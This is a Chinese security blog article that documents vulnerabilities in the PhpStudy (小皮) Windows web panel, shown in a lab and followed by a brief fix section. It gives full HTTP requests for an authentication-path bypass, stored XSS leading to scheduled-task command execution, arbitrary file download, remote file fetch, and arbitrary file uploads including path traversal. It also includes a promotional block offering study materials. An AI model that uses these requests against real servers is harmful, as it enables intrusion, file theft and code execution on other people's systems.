小皮Windows web面板漏洞详解 2023-03-27 16:57:39 所属地 湖南省 ![](https://image.3001.net/images/20240308/1709876354_65eaa4828e91d155430d9.png) 本文由 创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载 漏洞简介 ---- PhpStudy国内12年老牌公益软件,集安全、高效、功能与一体,已获得全球用户认可安装,运维也高效。 支持一键LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx反向代理、服务器防火墙、web防火墙、监控大屏等100多项服务器管理功能。小皮 Windows web 面板存在存储型 xss 漏洞,结合后台计划任务即可实现 RCE。 影响版本 ---- ![01.png](https://image.3001.net/images/20230327/1679907459_64215a8331beb5b84b611.png) 因为我一边测试一边写文章,但是我发现下载下的新版本的已经添加了过滤,但是并没有更新日志。 环境搭建 ---- 从官网下载 小皮 windows 面板安装包 [https://www.xp.cn/windows-panel.html](https://www.xp.cn/windows-panel.html) ​![image](https://image.3001.net/images/20230327/1679907460_64215a842a6e464f830a3.png) ​![image](https://image.3001.net/images/20230327/1679907461_64215a85e1844789515c4.png)​ 安装完成后会有一个初始信息文本,记录了小皮面板的登录地址以及账号密码。 ​![image](https://image.3001.net/images/20230327/1679907462_64215a86db2253f4152ff.png) ​![image](https://image.3001.net/images/20230327/1679907463_64215a87e225e01fdd649.png) 漏洞复现 ---- ### 绕过随机码 我们注意到小皮面板后台默认开放在 9080 端口,后台登录 url 地址中会存在一个随机码,不添加随机码时返回信息为 404。 【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】 ① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS) ​![image](https://image.3001.net/images/20230327/1679907465_64215a8903d89defdaf30.png)​ 在程序中全局搜索和 404 相关的字样定位到 `service/httpServer/Workerman/WebServer.php`​ ​![image](https://image.3001.net/images/20230327/1679907466_64215a8a4afc173af84ab.png)​ 当添加请求头 X-Requested-With: XMLHttpRequest 就可以绕过随机码。 ​![image](https://image.3001.net/images/20230327/1679907467_64215a8be54c2e69dcfc3.png)​ ‍ ### 存储型 XSS 我们在用户登录处的用户名插入弹窗 XSS 代码 验证是否存在漏洞。 ​![image](https://image.3001.net/images/20230327/1679907469_64215a8d4f1328214f72b.png)​ ​![image](https://image.3001.net/images/20230327/1679907470_64215a8e8b2572cf2ad78.png)​ 利用正确的用户名密码登录查看。 ​![image](https://image.3001.net/images/20230327/1679907472_64215a900c355ab1a55ee.png)​ 我们发现成功的触发了存储型 xss。 我们查看登录时的数据包 ​![image](https://image.3001.net/images/20230327/1679907473_64215a91aa966b3be16c7.png)​ ​`service/app/account.php`​ ​![image](https://image.3001.net/images/20230327/1679907475_64215a930f465ca803803.png)​ ​`\Account::login`​ ​![image](https://image.3001.net/images/20230327/1679907476_64215a94553445dce5786.png) ​`\Socket::request`​ ​![image](https://image.3001.net/images/20230327/1679907477_64215a95e3959bc5c29ba.png)​ ‍ 将信息保存起来,登录平台后会自动获取一次日志信息。 ​![image](https://image.3001.net/images/20230327/1679907479_64215a975df4799e78f66.png)​ ​`service/app/log.php`​ ​![image](https://image.3001.net/images/20230327/1679907481_64215a9932dcd708833da.png)​ ‍ ### 后台计划任务 我们注意到后台有计划任务模块。 ​![image](https://image.3001.net/images/20230327/1679907482_64215a9ad135fe1ba82dc.png) 所以可以直接通过构造计划任务实现 RCE。 添加任务 -> 添加 shell 脚本 -> 构造 shell 脚本内容 -> 执行 shell 脚本 ​![image](https://image.3001.net/images/20230327/1679907484_64215a9c2222a4eb5fc5c.png)​ ‍ ​![image](https://image.3001.net/images/20230327/1679907485_64215a9d4d4dd845e3884.png) ​![image](https://image.3001.net/images/20230327/1679907486_64215a9e6b954925e9df2.png) ​![image](https://image.3001.net/images/20230327/1679907488_64215aa011428456f212b.png)​ ​![image](https://image.3001.net/images/20230327/1679907489_64215aa166d1675b1bb24.png)​ ​![image](https://image.3001.net/images/20230327/1679907491_64215aa3151eb070a11af.png)​ 成功执行命令。 结合原本的存储型 XSS,可以直接获取管理员的 Cookie 值然后实现后台计划任务命令执行,或者直接通过 js 文件实现类似 CSRF + 后台计划任务命令执行。 ### 任意文件下载 构造数据包 GET /service/app/files.php?type=download&file=L3Rlc3QudHh0 HTTP/1.1 Host: 192.168.222.139:9080 Accept: application/json, text/javascript, \*/\*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://192.168.222.139:9080/C292CA Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211 Connection: close file 的值是 base64 编码后的 /test.txt 成功读取文件内容。 ​![image](https://image.3001.net/images/20230327/1679907492_64215aa4ef1f06f3835b2.png)​ ​![image](https://image.3001.net/images/20230327/1679907494_64215aa695e75697f05d1.png)​ service/app/files.php ​![image](https://image.3001.net/images/20230327/1679907496_64215aa84603896d66d3b.png) 文件下载通过 get 获取文件名,通过 base64 解码获取,没有校验,所以可以实现任意文件下载。 ### 任意代码执行 构造数据包 POST /service/app/files.php?type=download\_remote\_file HTTP/1.1 Host: 192.168.222.139:9080 Accept: application/json, text/javascript, \*/\*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://192.168.222.139:9080/C292CA Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 95 ​ url=aHR0cDovLzE5Mi4xNjguMjIyLjE6ODAwMC8xLnR4dA==&download\_to\_file\_folder=&newfilename=testing.txt url 是 base64 编码的 `[http://192.168.222.1:8000/1.txt](http://192.168.222.1:8000/1.txt)`​ python2 -m SimpleHTTPServer 8000   #在本地开启 http 服务 ​![image](https://image.3001.net/images/20230327/1679907497_64215aa9e992df73bf6eb.png) ​![image](https://image.3001.net/images/20230327/1679907499_64215aab8a4f66a5f36da.png)​ ​![image](https://image.3001.net/images/20230327/1679907500_64215aacd785fdb9e5818.png) ​`service/app/files.php`​ ​![image](https://image.3001.net/images/20230327/1679907502_64215aae14e74ac7030c2.png)​ 通过 url 获取远程的下载地址,download\_to\_file\_folder 指定下载文件文件夹,newfilename 指定保存文件的文件名。 ### 任意文件上传 构造数据包 POST /service/app/files.php?type=file\_upload HTTP/1.1 Host: 192.168.222.139:9080 Accept: application/json, text/javascript, \*/\*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://192.168.222.139:9080/C292CA Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT Content-Length: 288 ​ \------WebKitFormBoundaryE0tFhmmng2vwxftT Content-Disposition: form-data; name="file\_path" ​ / \------WebKitFormBoundaryE0tFhmmng2vwxftT Content-Disposition: form-data; name="file"; filename="testing1.txt" Content-type: image/jpg ​ qweqwe \------WebKitFormBoundaryE0tFhmmng2vwxftT-- ​![image](https://image.3001.net/images/20230327/1679907503_64215aaf82f0d8b0f2472.png) ​![image](https://image.3001.net/images/20230327/1679907505_64215ab149cfeea9bf789.png)​ ​`service/app/files.php`​ ​![image](https://image.3001.net/images/20230327/1679907506_64215ab2c1954419d3840.png) ### 任意文件上传二 构造数据包 POST /service/app/files.php?type=save\_file\_contents HTTP/1.1 Host: 192.168.222.139:9080 Accept: application/json, text/javascript, \*/\*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://192.168.222.139:9080/C292CA Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 58 ​ file\_path=/&file\_name=test2.txt&txt\_file\_contents=qwerqwer ​![image](https://image.3001.net/images/20230327/1679907508_64215ab44ba9aa2697691.png)​ ​![image](https://image.3001.net/images/20230327/1679907510_64215ab654b82a2d58184.png) ​`service/app/files.php`​ ​![image](https://image.3001.net/images/20230327/1679907511_64215ab7a695122207365.png)​ 根据通过 post 传入的值 file\_path 指定保存文件目录 file\_name 指定文件保存名字 txt\_file\_contents 指定文件保存内容,未作任何过滤,可实现任意文件上传。 ### 任意文件上传三 构造数据包 POST /service/app/databases.php?type=file\_add HTTP/1.1 Host: 192.168.222.139:9080 Accept: application/json, text/javascript, \*/\*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://192.168.222.139:9080/C292CA Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT Content-Length: 312 ​ \------WebKitFormBoundaryE0tFhmmng2vwxftT Content-Disposition: form-data; name="parent\_dir" ​ ../../../../../../../../ \------WebKitFormBoundaryE0tFhmmng2vwxftT Content-Disposition: form-data; name="file"; filename="testing2.txt" Content-type: image/jpg ​ qweqwe \------WebKitFormBoundaryE0tFhmmng2vwxftT-- ​![image](https://image.3001.net/images/20230327/1679907513_64215ab90b0f8b4cfa23e.png)​ ​![image](https://image.3001.net/images/20230327/1679907514_64215aba7b46bc64c72f0.png)​ ​`service/app/databases.php`​ ​![image](https://image.3001.net/images/20230327/1679907516_64215abc0683cd7bef120.png)​ 漏洞修复 ---- 在登录处添加了校验。 ​![image](https://image.3001.net/images/20230327/1679907517_64215abd7f8b7aff80904.png)​ 对传入的文件名的长度进行校验,同时对传入的字符串进行了 `htmlspecialchars`​ 处理。 ‍**更多网安技能的在线实操练习,[请点击这里>>](https://www.hetianlab.com/)** \# 漏洞挖掘 \# 软件漏洞 \# XSS漏洞 \# 漏洞复现